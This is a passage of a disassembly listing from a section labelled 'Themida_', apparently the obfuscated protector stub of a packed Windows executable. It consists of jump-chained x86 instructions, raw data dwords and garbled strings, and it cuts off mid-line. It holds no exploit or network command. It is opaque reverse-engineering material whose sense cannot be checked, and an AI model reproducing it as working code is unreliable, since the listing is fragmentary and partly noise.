--------------------------------------------------------------------------- loc_5920D5: ; CODE XREF: Themida_:00594A93j push 7629h mov [esp], ebp sub esp, 4 jmp loc_58B5E4 ; --------------------------------------------------------------------------- loc_5920E5: ; CODE XREF: Themida_:0058BEACj add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx push 479Eh mov [esp], ebx jmp loc_58D6B6 ; --------------------------------------------------------------------------- loc_592112: ; CODE XREF: Themida_:005924EBj push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub edi, 1 xor edi, 90C4027h add esi, edi pop edi jmp loc_59764E ; --------------------------------------------------------------------------- dw 815Bh dd 4C3h, 2BA5200h, 81000000h, 0CB587AC3h, 85EB8119h, 1440F09h dd 85C381D3h, 0E9440F09h, 2029h ; --------------------------------------------------------------------------- loc_59215C: ; CODE XREF: Themida_:00594B15j mov esi, 2EAD0E95h inc esi shr esi, 3 sub esi, 46BA05C6h shr esi, 3 jmp loc_58C66F ; --------------------------------------------------------------------------- loc_592173: ; CODE XREF: Themida_:00596E7Bj mov ebp, 4 add ebx, ebp pop ebp xchg ebx, [esp] pop esp div ecx push 5981h jmp loc_58F942 ; --------------------------------------------------------------------------- loc_59218B: ; CODE XREF: Themida_:0058F0BBj xor edi, 3097717Fh jmp loc_595BF2 ; --------------------------------------------------------------------------- word_592196 dw 0E951h ; DATA XREF: Themida_:0058B158o dd 0FFFFE470h ; --------------------------------------------------------------------------- loc_59219C: ; CODE XREF: Themida_:005961F3j mov ecx, edi pop edi sub eax, ecx jmp loc_59071E ; --------------------------------------------------------------------------- aA_s db '(ц─ц_И╣!',0 align 10h loc_5921B0: ; CODE XREF: Themida_:00598560j push dword ptr [edx] mov eax, [esp] push edi mov edi, esp add edi, 4 jmp loc_59721A ; --------------------------------------------------------------------------- db 8Bh dd 0C481240Ch, 4, 148BD301h, 4C48124h, 83000000h, 1C8702C3h dd 24248B24h, 9C2404FEh, 0FF9192E9h db 0FFh ; --------------------------------------------------------------------------- loc_5921E9: ; CODE XREF: Themida_:0058BCBBj not eax jmp loc_5966FE ; --------------------------------------------------------------------------- dd 0FF2BAF2Dh, 0E9E82901h, 428Ch, 51E38953h, 0CA6BE56h dd 0F1893E9Ch, 0C1D9F75Eh, 0F18105E9h, 703C472Fh, 53C1E9h db 0 ; --------------------------------------------------------------------------- loc_592219: ; CODE XREF: Themida_:005946F1j add ebx, ecx pop ecx xchg ebx, [esp] jmp loc_58EE8B ; --------------------------------------------------------------------------- loc_592224: ; CODE XREF: Themida_:0059538Aj ; Themida_:0059561Aj ... push ecx push esp pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esi jmp loc_5948D2 ; --------------------------------------------------------------------------- aPs@ db 'PИч@',0 align 2 word_592242 dw 32FFh ; DATA XREF: Themida_:0058B180o dd 0FF9132E9h, 50E589FFh, 576600B8h, 1151255Fh, 484002BEh dd 16000435h, 8BC50102h, 0C4832404h, 2169E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59226A: ; CODE XREF: Themida_:0058BB4Dj mov ebx, esp add ebx, 4 jmp loc_597E0C ; --------------------------------------------------------------------------- loc_592277: ; CODE XREF: Themida_:0059277Dj push ecx mov ch, 0FAh sub ch, 63h add bh, ch pop ecx sub al, bh pop ebx push dword ptr [esp] mov ecx, [esp] jmp loc_5914DB ; --------------------------------------------------------------------------- dw 0DAF7h dd 88BCEA81h, 0D3093937h, 6EB815Ah, 0E937FB7Bh, 0FFFFCCA6h ; --------------------------------------------------------------------------- loc_5922A4: ; CODE XREF: Themida_:0059103Bj ; Themida_:00593AE7j inc esi add esi, 2FAB1578h jmp loc_592CA8 ; --------------------------------------------------------------------------- loc_5922B0: ; CODE XREF: Themida_:0059015Ej push ebp mov ebp, 5E024D4h jmp loc_596F45 ; --------------------------------------------------------------------------- loc_5922BB: ; CODE XREF: Themida_:0059849Bj mov ebp, [esp] add esp, 4 jmp loc_594C95 ; --------------------------------------------------------------------------- db 0Fh, 85h, 7Bh dd 52000032h, 0F7240487h, 0B74824D0h, 10E95D55h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5922DF: ; CODE XREF: Themida_:00592795j mov edx, 7A449C6h jmp loc_596D3C ; --------------------------------------------------------------------------- byte_5922E9 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0058B1D4o dd 78056824h, 2C890000h, 606D6824h, 24890000h, 2B01E924h db 2 dup(0) word_592302 dw 77FFh ; DATA XREF: Themida_:0058B18Co dd 19589D1Ch, 0E99C2404h, 0FFFFB096h, 26C8EB81h, 0F3014F14h dd 26C8C381h, 335E4F14h, 1C31241Ch, 241C3324h, 0F24248Bh dd 9C51C8AFh, 0FF9046E9h, 148C0FFFh, 4E000023h, 6044E9h dd 5BDA3000h db 0, 0D1h, 5Ah ; --------------------------------------------------------------------------- loc_592347: ; CODE XREF: Themida_:loc_590AFAj shl dh, 3 add dh, 9Bh jmp loc_58DE16 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 8B241C87h, 0CCE92424h db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_592363: ; CODE XREF: Themida_:005908DFj sub al, 0E6h jmp loc_595BB0 ; --------------------------------------------------------------------------- aIisnn db '┴КИnN',0 dd 0F6DBF600h, 5840FDBh, 0E900004Bh, 0FFFFD426h, 5C240487h dd 0E9243489h, 0FFFFDDE5h ; --------------------------------------------------------------------------- loc_59238C: ; CODE XREF: Themida_:005953CBj add eax, 3CE76C6h sub eax, edx sub eax, 3CE76C6h jmp loc_58F761 ; --------------------------------------------------------------------------- loc_59239D: ; CODE XREF: Themida_:00590410j or edi, 3CE54C4Bh xor edi, 85AEC79Fh sub eax, edi pop edi jmp loc_5957B8 ; --------------------------------------------------------------------------- loc_5923B1: ; CODE XREF: Themida_:00594FBEj sub al, 32h jmp loc_5944E0 ; --------------------------------------------------------------------------- loc_5923B8: ; CODE XREF: Themida_:0058CACDj sub al, 60h pop edx sub bl, 2Dh push edx mov dl, 0F7h sub bl, dl push dword ptr [esp] pop edx sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_58F612 ; --------------------------------------------------------------------------- db 53h dd 9D4FBD68h, 0D8E95B08h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5923E3: ; CODE XREF: Themida_:0058D405j add ecx, edi add ecx, 257131ADh add dword ptr [ecx], 1 mov ecx, [esp] push eax jmp loc_595EB3 ; --------------------------------------------------------------------------- loc_5923FA: ; CODE XREF: Themida_:00591570j not ebp xor ebp, 0F284C9BFh jmp loc_596E76 ; --------------------------------------------------------------------------- loc_592407: ; CODE XREF: Themida_:00590B20j push ebp push dword ptr [esp+4] jmp loc_58C151 ; --------------------------------------------------------------------------- db 0C1h, 0E5h, 7 dd 3AE8880Fh, 0E5C10000h, 78880F05h, 80FFFFACh, 815088E1h dd 7045BEBh, 65EB8115h, 81334B6Bh, 380B9BC3h, 0D8315E6Dh dd 0E9241C8Bh, 0FFFFAA5Bh ; --------------------------------------------------------------------------- loc_592444: ; CODE XREF: Themida_:00595080j mov [ebx], al pop ebx jmp loc_5973FE ; --------------------------------------------------------------------------- loc_59244C: ; CODE XREF: Themida_:0058F21Ej ror byte ptr [esp], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_592455: ; CODE XREF: Themida_:00591130j ; Themida_:005982F8j jmp loc_596495 ; --------------------------------------------------------------------------- word_59245A dw 8B66h ; DATA XREF: Themida_:0058B234o dd 8953240Ch, 604168E3h, 0C7E90000h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59246B: ; CODE XREF: Themida_:loc_5914AFj push esi push edx jmp loc_58CBBE ; --------------------------------------------------------------------------- loc_592472: ; CODE XREF: Themida_:00595D0Cj mov eax, 7D9D6D40h jmp loc_58D7A0 ; --------------------------------------------------------------------------- dd 218D0F46h, 81000028h, 5D676CC6h, 52C7C630h db 5Dh byte_59248D db 0FFh, 77h, 3Ch ; DATA XREF: Themida_:0058B188o dd 0FFFAC9E9h db 0FFh ; --------------------------------------------------------------------------- loc_592495: ; CODE XREF: Themida_:loc_58FF02j pop ebp xchg esi, [esp] pop esp movzx ecx, al push 1CB1h mov [esp], eax jmp loc_59817E ; --------------------------------------------------------------------------- loc_5924AA: ; CODE XREF: Themida_:loc_593C54j neg ebp jl loc_593941 and ebp, 23417AE9h jno loc_59507F mov ebx, edi push edx push ebx jmp loc_594B1A ; --------------------------------------------------------------------------- loc_5924C7: ; CODE XREF: Themida_:0059784Bj jmp loc_58D81C ; --------------------------------------------------------------------------- dd 0FFD92CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5924D1: ; CODE XREF: Themida_:0058F331j not ecx inc ecx xor ecx, 7E9175A2h and ecx, 7A7770A7h add ecx, 0DD8A310Fh and edi, ecx mov ecx, [esp] jmp loc_592112 ; --------------------------------------------------------------------------- dd 4C3815Bh, 0E9000000h, 0FFFF92B1h, 768CEF81h, 0F701189Ah dd 768CC781h, 0BB53189Ah, 31DF4897h, 0FFDAC9E9h db 0FFh ; --------------------------------------------------------------------------- loc_592515: ; CODE XREF: Themida_:loc_58E129j inc edx jmp loc_58DD70 ; --------------------------------------------------------------------------- db 66h dd 9C2404FFh, 0FF8E56E9h, 0C18149FFh, 0B570FA70h, 8959CF29h dd 4B2D5FF8h, 895C7A2Eh, 0D32958C3h, 8324148Bh, 26E904ECh db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_592547: ; CODE XREF: Themida_:005969DFj mov edx, esp add edx, 4 push ebp push 4 pop ebp push eax push ebp mov ebp, 4FB74075h mov eax, ebp jmp loc_58D35B ; --------------------------------------------------------------------------- off_592564 dd offset dword_49005C+0FB0Ch ; DATA XREF: Themida_:0058B154o dd 171FE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59256E: ; CODE XREF: Themida_:0058DA91j mov edx, [esp] add esp, 4 push 1149h mov [esp], ebx jmp loc_598061 ; --------------------------------------------------------------------------- loc_592581: ; CODE XREF: Themida_:0058CF17j xchg ebx, [esp] mov esp, [esp] mov [esp], eax jmp loc_592B05 ; --------------------------------------------------------------------------- loc_59258F: ; CODE XREF: Themida_:0058B493j add esp, 4 push edi mov edi, 0E4C7134Bh add esi, edi jmp loc_58D044 ; --------------------------------------------------------------------------- dw 0E281h dd 2FC17A04h, 4B46800Fh, 0CA810000h, 63350DB9h, 4A3870Fh dd 0EA810000h, 6F752D81h, 8952FA01h, 0E18050E2h db 0C6h ; --------------------------------------------------------------------------- loc_5925C9: ; CODE XREF: Themida_:00590F8Bj add ecx, 2771231Dh push esi mov esi, ecx mov edx, esi pop esi pop ecx jmp loc_5937B8 ; --------------------------------------------------------------------------- loc_5925DB: ; CODE XREF: Themida_:0058BBF1j mov ebx, 1CF34995h jmp loc_5948E1 ; --------------------------------------------------------------------------- db 1, 0D7h, 81h dd 493EC7C7h, 24148B1Eh, 0FFF2AAE9h, 405FFh, 4050000h dd 87000000h, 28E92404h db 0B4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_592607: ; CODE XREF: Themida_:0058FB8Bj movsx cx, al push small 7651h jmp loc_591978 ; --------------------------------------------------------------------------- dword_592614 dd 24048B66h, 0DC3DE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59261E: ; CODE XREF: Themida_:0058D2C2j shr edx, 1 xor edx, 1B5D6CD9h mov eax, edx pop edx add ecx, eax pop eax jmp loc_597BFE ; --------------------------------------------------------------------------- db 55h, 54h, 5Dh dd 4C581h, 0B8680000h, 89000042h, 4BA2414h, 51000000h dd 0D56E58B9h, 76E18116h, 495DCB40h, 0FFFFE981h, 0C181FFFFh dd 0AB20469h, 2959CD01h, 57B850D5h, 2D012F1Ch, 0FFFFFFFFh dd 0BBD79F2Dh, 58C529E1h, 8324148Bh, 2C8704C4h, 0B7AAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_592686: ; CODE XREF: Themida_:00597CA5j shl edx, 1 jmp loc_591077 ; --------------------------------------------------------------------------- loc_59268D: ; CODE XREF: Themida_:0058E248j mov [esp], ecx jmp loc_58B37B ; --------------------------------------------------------------------------- loc_592695: ; CODE XREF: Themida_:00595792j mov esp, [esp] jmp loc_58BF1D ; --------------------------------------------------------------------------- loc_59269D: ; CODE XREF: Themida_:0059471Ej add bl, 0A3h add al, bl pop ebx push 3BBDh mov [esp], edx jmp loc_58E7E9 ; --------------------------------------------------------------------------- dd 0FD8F748h, 3C3B83h, 890F4800h, 0FFFFD20Eh, 938F4535h dd 58C389BBh, 73AEC381h, 0EBC12C60h, 4EB8107h, 81531832h dd 0B85E52EBh, 9CEB817Ch, 0E930BDB4h, 0FFFFF4E7h, 1247C30h dd 26A4E9h db 0 ; --------------------------------------------------------------------------- loc_5926F1: ; CODE XREF: Themida_:0058F175j add ebx, edi mov edi, [esp] add esp, 4 jmp loc_593713 ; --------------------------------------------------------------------------- db 53h, 0F7h, 14h dd 0F2EEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59270A: ; CODE XREF: Themida_:005947CCj mov [esp], ebp inc dword ptr [esp] push dword ptr [esp] jmp loc_58DF7D ; --------------------------------------------------------------------------- loc_592718: ; CODE XREF: Themida_:005929CCj xor esi, ebx xor ebx, esi xchg ebx, [esp] jmp loc_58B37B ; --------------------------------------------------------------------------- loc_592724: ; CODE XREF: Themida_:00590980j jnp loc_58BA76 add eax, 60CA14C6h jmp loc_597E0C ; --------------------------------------------------------------------------- dd 0C381EF01h, 61BB3840h, 15BDD89h, 4F2D5DE8h, 294F9373h dd 734F05C8h, 0EC814F93h, 4, 52240C89h, 4D67BCBAh, 77C2810Eh dd 893B25AFh, 0C8295AD1h, 0C3315959h, 0B60F66h, 443368h dd 2AE3E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59277A: ; CODE XREF: Themida_:00593DF9j and bh, 1Eh jmp loc_592277 ; --------------------------------------------------------------------------- loc_592782: ; CODE XREF: Themida_:0058C23Fj push dword ptr [esp] pop ebx add esp, 4 jmp loc_58EB5F ; --------------------------------------------------------------------------- loc_59278E: ; CODE XREF: Themida_:00590A02j xor ecx, 1EFF2096h push edx jmp loc_5922DF ; --------------------------------------------------------------------------- loc_59279A: ; CODE XREF: Themida_:0059114Aj pop eax jmp loc_58FBC7 ; --------------------------------------------------------------------------- dd 0F18C380h, 4E238Ch, 0B08AE900h db 2 dup(0FFh) word_5927AE dw 66ACh ; DATA XREF: Themida_:0058B204o dd 66700268h, 50241C89h, 17E93AB4h, 87000041h, 565A2404h dd 0FFD2D4E9h db 0FFh ; --------------------------------------------------------------------------- loc_5927C9: ; CODE XREF: Themida_:00597301j pop bx sub al, 6Dh push bx push eax push ecx jmp loc_5913D4 ; --------------------------------------------------------------------------- dw 0B151h dd 80D9F609h, 33E9A8C1h db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5927E3: ; CODE XREF: Themida_:loc_590B5Ej or eax, 9687297h jg loc_58D508 inc eax jmp loc_592D0B ; --------------------------------------------------------------------------- dd 89241C89h db 0F6h, 54h ; --------------------------------------------------------------------------- loc_5927FA: ; CODE XREF: Themida_:0058B9EDj ; Themida_:00593F9Fj xchg edx, [esp] pop esp push dword ptr [esp] mov ecx, [esp] add esp, 4 push esi mov esi, esp jmp loc_590AC2 ; --------------------------------------------------------------------------- loc_592812: ; CODE XREF: Themida_:00590726j push ecx mov ecx, 72813B51h not ecx shr ecx, 3 sub ecx, 0E0A6BDB1h jmp loc_58D9D0 ; --------------------------------------------------------------------------- loc_592828: ; CODE XREF: Themida_:0058BDBEj mov edx, 7D722E8h add edx, 281C2FA6h jmp loc_595BB9 ; --------------------------------------------------------------------------- dd 0B408C5B8h, 35D0F706h, 5A8C242Ah, 85337305h, 4EC8356h dd 0B9240C89h, 0C9A4C341h, 0E959C829h, 0FFFFA5C6h, 0C154FFBAh dd 6856517Ch, 6DE6h, 0BF243C89h, 2CA23BEFh, 3E9FE89h, 5AFFFF90h dd 4C281h, 0C2830000h, 24148704h, 685Ch, 2C290000h, 0A5E95D24h dd 50FFFF8Dh, 6604CB8h, 58C63152h, 56BEE681h, 0EEC12572h dd 0A5F68105h, 1012182h, 24348BF0h, 5204C483h, 4BAh, 0E0BA5200h dd 2962354Dh, 0F8E95AD0h db 0ABh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5928C7: ; CODE XREF: Themida_:00592F2Fj sub esi, 5D5773FBh sub edi, 7D1F7AA1h sub edi, esi add edi, 7D1F7AA1h pop esi push edi mov eax, [esp] push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp mov edi, [esp] add esp, 4 sub esp, 4 jmp loc_594A66 ; --------------------------------------------------------------------------- db 0F7h dd 8EE94DDDh, 68000012h, 6C9Eh, 3DABE9h db 0 ; --------------------------------------------------------------------------- loc_592911: ; CODE XREF: Themida_:0059107Dj push edi mov edi, 0D635B51h push edx mov edx, 4C2F29B8h or edi, edx pop edx shl edi, 8 or edi, 3815714Ch shr edi, 3 push ebx mov ebx, 5044314Bh jmp loc_58D3EA ; --------------------------------------------------------------------------- db 5Bh dd 0FFF3BFE9h db 0FFh ; --------------------------------------------------------------------------- loc_59293D: ; CODE XREF: Themida_:00591C09j pop esi push 7C4Bh jmp loc_58BC00 ; --------------------------------------------------------------------------- loc_592948: ; CODE XREF: Themida_:005939C1j sub edx, 64E15FC8h push ecx mov ecx, 3926AACh jmp loc_5973B1 ; --------------------------------------------------------------------------- db 0BDh, 0C5h, 76h dd 0ED8170DAh, 9F57982Fh, 295DEF29h, 0DF17E9FEh, 0EC81FFFFh dd 4, 0FFCBB1E9h, 59CA09FFh, 2249BB53h, 0C1435906h, 0D4E906E3h db 35h, 2 dup(0) byte_59298B db 0FFh ; DATA XREF: Themida_:0058B298o dd 0E8E94077h, 89FFFF89h, 0E2892414h, 4C281h, 0EA810000h dd 4, 5C241487h, 83242489h, 0FF042404h, 7EE92434h db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5929B7: ; CODE XREF: Themida_:00594A6Ej pop ecx and eax, ecx push dword ptr [esp] pop ecx jmp loc_58BB1D ; --------------------------------------------------------------------------- loc_5929C3: ; CODE XREF: Themida_:005944FFj mov [esp], esi not dword ptr [esp] pop esi xor ebx, esi jmp loc_592718 ; --------------------------------------------------------------------------- db 5Dh, 21h, 0D8h dd 0FC00B5Bh, 46C084h, 1D4B6800h, 34890000h, 0E9E68924h dd 1066h, 8F04C483h, 248B2404h, 24042824h, 897DE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5929FE: ; CODE XREF: Themida_:0058DA23j xor [esp], edx xor edx, [esp] pop esp mov dx, [esp] push 5D3Ch mov [esp], eax push esp mov eax, [esp] add esp, 4 jmp loc_5933BC ; --------------------------------------------------------------------------- byte_592A1D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0058B1C8o dd 0E4D4E924h, 0C683FFFFh, 225CE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_592A2E: ; CODE XREF: Themida_:0059394Dj mov [esp], ecx mov cl, 6Bh dec cl jmp loc_58C22F ; --------------------------------------------------------------------------- dw 815Fh dd 4C4h, 4C58100h, 0E9000000h, 0FFFFCB75h ; --------------------------------------------------------------------------- loc_592A4C: ; CODE XREF: Themida_:0058FAEBj add ecx, 4 add ecx, 4 jmp loc_58D06B ; --------------------------------------------------------------------------- db 81h, 0EAh, 81h dd 16F752Dh, 0E28952FAh, 701B850h, 0CD051ECCh, 2D47E57Ch dd 5A9E6669h, 0ECE29F05h, 58C201F3h, 0F2A5E956h, 0C9BFFFFFh dd 4F44A70Ah, 0F53CC781h, 0FA01BB58h, 8B2434FFh, 0C483243Ch dd 4C48104h, 0E9000000h, 4701h, 0EEC0DEF6h, 7DEE8007h dd 806BCE80h, 0F680ADC6h, 0F3EDE9DEh db 2 dup(0FFh) aMhdv db '╛hdv',0 ; DATA XREF: Themida_:0058B258o align 4 dd offset dword_53CFF4+3F5h db 0 ; --------------------------------------------------------------------------- loc_592AC9: ; CODE XREF: Themida_:00596AC7j push edx mov edx, 12355CFh mov ebp, 2A24527Dh xor ebp, edx pop edx dec ebp push ecx jmp loc_598199 ; --------------------------------------------------------------------------- word_592ADE dw 8B66h ; DATA XREF: Themida_:0058B200o dd 89532404h, 71E952E3h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_592AEB: ; CODE XREF: Themida_:0058F27Fj pop eax jmp loc_591873 ; --------------------------------------------------------------------------- db 81h, 0F2h, 5Bh aXb db '|!X│йй',0 db 9 dd 4E2C158h, 0FFE706E9h db 0FFh ; --------------------------------------------------------------------------- loc_592B05: ; CODE XREF: Themida_:0059258Aj mov eax, 22BD6BDCh mov ebx, eax pop eax shr ebx, 5 jmp loc_58DC37 ; --------------------------------------------------------------------------- byte_592B15 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0058B1C4o dd 8B545724h, 0C481243Ch, 4, 4BF5753h, 89000000h, 9BE95FFBh db 0CDh, 2 dup(0FFh) byte_592B33 db 66h ; DATA XREF: Themida_:0058B31Co dd 68240C8Bh, 3DF7h, 68240489h, 7D73h, 83242489h, 58042404h dd 4BD55h, 63050000h, 0E9014B17h, 12B6h ; --------------------------------------------------------------------------- loc_592B5C: ; CODE XREF: Themida_:0058EE8Cj mov ax, [esp] sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], esp sub esp, 4 mov [esp], esi mov esi, 4 add [esp+4], esi pop esi mov eax, [esp] add esp, 4 add eax, 4 push ecx mov ecx, 2 push edx mov edx, 6BF749A8h add eax, edx pop edx jmp loc_58C49D ; --------------------------------------------------------------------------- dd 4EC815Eh, 89000000h, 0BA52242Ch, 7A4772F7h, 0C96E9h db 0 ; --------------------------------------------------------------------------- loc_592BB9: ; CODE XREF: Themida_:00596BF1j sub ebx, 74B36A0Fh jmp loc_5977D3 ; --------------------------------------------------------------------------- dd 42474FFh, 0F0BE9h db 0 ; --------------------------------------------------------------------------- loc_592BCD: ; CODE XREF: Themida_:005959F0j pop ebp jmp loc_591A40 ; --------------------------------------------------------------------------- db 81h dd 0FF143AE3h, 0EE850F45h, 81FFFFD2h, 0A843AAEBh, 0AF4E960h db 2 dup(0) ; --------------------------------------------------------------------------- loc_592BEA: ; CODE XREF: Themida_:00591E62j mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov eax, 4C1761D0h neg eax jmp loc_58DF29 ; --------------------------------------------------------------------------- loc_592C05: ; CODE XREF: Themida_:00595EC0j xor [esp], eax xor eax, [esp] pop esp loc_592C0C: ; CODE XREF: Themida_:00591193j push 7E16h mov [esp], edi jmp loc_591EDA ; --------------------------------------------------------------------------- loc_592C19: ; CODE XREF: Themida_:00593970j add eax, 36B9EB28h xor edi, eax pop eax jmp loc_5945FC ; --------------------------------------------------------------------------- dw 0EC83h dd 24248904h, 4240481h, 0E9000000h, 4C25h ; --------------------------------------------------------------------------- loc_592C38: ; CODE XREF: Themida_:loc_58DE16j ; Themida_:00597247j pop ebp sub esp, 4 jmp loc_590CCB ; --------------------------------------------------------------------------- db 81h, 0F1h, 20h dd 16BE52Dh, 0E95359CDh, 23CCh ; --------------------------------------------------------------------------- loc_592C50: ; CODE XREF: Themida_:005977E9j push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_593EFA ; --------------------------------------------------------------------------- dd 4C2815Ah, 81000000h, 4C2h, 0E7E95200h, 58FFFF8Ch, 2474FF55h dd 48F5D04h, 0C4815C24h, 4, 51C8BE0Fh, 0FFE36FE9h db 0FFh byte_592C91 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0058B148o dd 0A8E95624h, 81FFFF9Eh, 1258F4C2h, 0E9F2015Bh, 0FFFFAE52h ; --------------------------------------------------------------------------- loc_592CA8: ; CODE XREF: Themida_:005922ABj xor esi, 2C7304FDh sub esi, 1D035B28h push ebx jmp loc_594723 ; --------------------------------------------------------------------------- loc_592CBA: ; CODE XREF: Themida_:loc_58E9EEj add eax, 0E120F20Fh mov ecx, eax pop eax mov edi, ecx jmp loc_5906B1 ; --------------------------------------------------------------------------- loc_592CC9: ; CODE XREF: Themida_:0058FC4Ej pop ebx jmp loc_58F336 ; --------------------------------------------------------------------------- db 0BAh dd 2, 557BE9h db 0 ; --------------------------------------------------------------------------- loc_592CD9: ; CODE XREF: Themida_:0058FCBDj push esi jmp loc_5901F8 ; --------------------------------------------------------------------------- loc_592CDF: ; CODE XREF: Themida_:0058D8E6j pop esp add edi, 4 add edi, 2 jmp loc_590F33 ; --------------------------------------------------------------------------- word_592CEE dw 8B66h ; DATA XREF: Themida_:0058B324o dd 0EC832404h, 24048904h, 4078E9h db 0 ; --------------------------------------------------------------------------- loc_592CFD: ; CODE XREF: Themida_:00593962j push edx mov edx, 57242CA9h xor ecx, edx pop edx jmp loc_591A59 ; --------------------------------------------------------------------------- loc_592D0B: ; CODE XREF: Themida_:005927EFj ; Themida_:0059754Aj mov edx, 7DD45C4Fh jmp loc_5976FB ; --------------------------------------------------------------------------- loc_592D15: ; CODE XREF: Themida_:0058E797j add dh, 21h xor dh, 0C5h push ebx mov bh, dh mov al, bh pop ebx pop edx xor al, cl jmp loc_58CCA8 ; --------------------------------------------------------------------------- db 1, 0E8h, 8Bh dd 0E955242Ch, 0FFFFB922h, 4D2EE951h, 0D7F70000h, 8103EFC1h dd 4A9465C7h, 5FF82914h, 0BE56D829h, 1E694DD6h, 0FF9AB3E9h db 0FFh byte_592D55 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0058B0C8o dd 56FE6824h, 2C890000h, 0E9FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_592D66: ; CODE XREF: Themida_:00596549j pop esi dec eax and eax, 31F3377Eh add eax, 46A34E1Ch or eax, 34910B73h push 658Dh jmp loc_5931BF ; --------------------------------------------------------------------------- loc_592D81: ; CODE XREF: Themida_:0058D9CBj sub esi, 0BBCB5B60h jmp loc_59112A ; --------------------------------------------------------------------------- loc_592D8C: ; CODE XREF: Themida_:00597A47j add esp, 4 push 3D16h mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xor eax, ebp xor ebp, eax xor eax, ebp push 1165h mov [esp], ebx mov ebx, 1 and eax, ebx push dword ptr [esp] pop ebx sub esp, 4 mov [esp], esi mov esi, esp push 1333h mov [esp], eax mov eax, 3A0773F5h xor eax, 0C7E7A59h not eax jmp loc_58F487 ; --------------------------------------------------------------------------- loc_592DE6: ; CODE XREF: Themida_:005974F8j add ebx, edx pop edx mov dword ptr [ebx], 0 mov ebx, [esp] push 2DCBh mov [esp], esi mov esi, esp jmp loc_58FC5B ; --------------------------------------------------------------------------- aZSp db '┤<$\Иp#',0 align 2 dw 0E952h dd 20Ch ; --------------------------------------------------------------------------- loc_592E10: ; CODE XREF: Themida_:0058C0EEj mov ebp, [esp] add esp, 4 push esi mov esi, 2 add eax, esi pop esi sub esp, 4 mov [esp], eax push dword ptr [esp+4] mov eax, [esp] jmp loc_58FDDF ; --------------------------------------------------------------------------- loc_592E34: ; CODE XREF: Themida_:00594954j pop edi xor edi, 2D2B71E3h pop ebx mov esi, 0E6734EFBh sub esi, edi pop edi shl esi, 1 jmp loc_5971EE ; --------------------------------------------------------------------------- byte_592E4B db 66h ; DATA XREF: Themida_:0058B0E0o dd 0E924048Bh, 0FFFFE4F0h ; --------------------------------------------------------------------------- loc_592E54: ; CODE XREF: Themida_:00595E23j sub ebp, eax pop eax xchg ebp, [esp] mov esp, [esp] mov [esp], ebx add dword ptr [esp], 766A0C77h mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_5984B6 ; --------------------------------------------------------------------------- loc_592E7E: ; CODE XREF: Themida_:00590F83j inc dword ptr [esp] pop esi xor esi, 55754E6Eh push ebp mov ebp, 76D94DE2h sub ebp, 31F5E2ACh add esi, ebp pop ebp sub esi, 6D44BA69h push ebx mov ebx, esi mov ecx, ebx pop ebx push dword ptr [esp] pop esi push eax jmp loc_594B86 ; --------------------------------------------------------------------------- loc_592EAD: ; CODE XREF: Themida_:0058C3BAj push 1B0Ah mov [esp], eax push eax mov eax, 18072CB9h add [esp+4], eax pop eax mov eax, [esp] add esp, 4 push esi push 5F61h mov [esp], edx mov edx, esp jmp loc_5954F1 ; --------------------------------------------------------------------------- loc_592ED6: ; CODE XREF: Themida_:0058E562j neg edx xor edx, 0A152E79Fh add ebp, 3160611Eh sub ebp, edx jmp loc_58D302 ; --------------------------------------------------------------------------- byte_592EEB db 0FFh ; DATA XREF: Themida_:0058B184o a4Xhm db '4$XhM>',0 align 4 dd 89243489h, 0DBE952E6h, 5FFFFCCh, 7381530h, 5B2434FFh dd 504C483h, 2, 0FFA2AFE9h, 0CFE953FFh db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_592F1B: ; CODE XREF: Themida_:00595B55j add esp, 4 dec esi jmp loc_58BEF4 ; --------------------------------------------------------------------------- loc_592F27: ; CODE XREF: Themida_:00591BBCj push 336E4089h pop esi not esi jmp loc_5928C7 ; --------------------------------------------------------------------------- loc_592F34: ; CODE XREF: Themida_:00593F98j push esi jmp loc_595959 ; --------------------------------------------------------------------------- loc_592F3A: ; CODE XREF: Themida_:005913CFj mov esi, 6C727119h shr esi, 5 and esi, 752D5ED6h jmp loc_594D6C ; --------------------------------------------------------------------------- loc_592F4D: ; CODE XREF: Themida_:00596E97j xor esi, 2B7B0F78h js loc_5901A2 push edi jmp loc_58E33C ; --------------------------------------------------------------------------- aBUdosL db 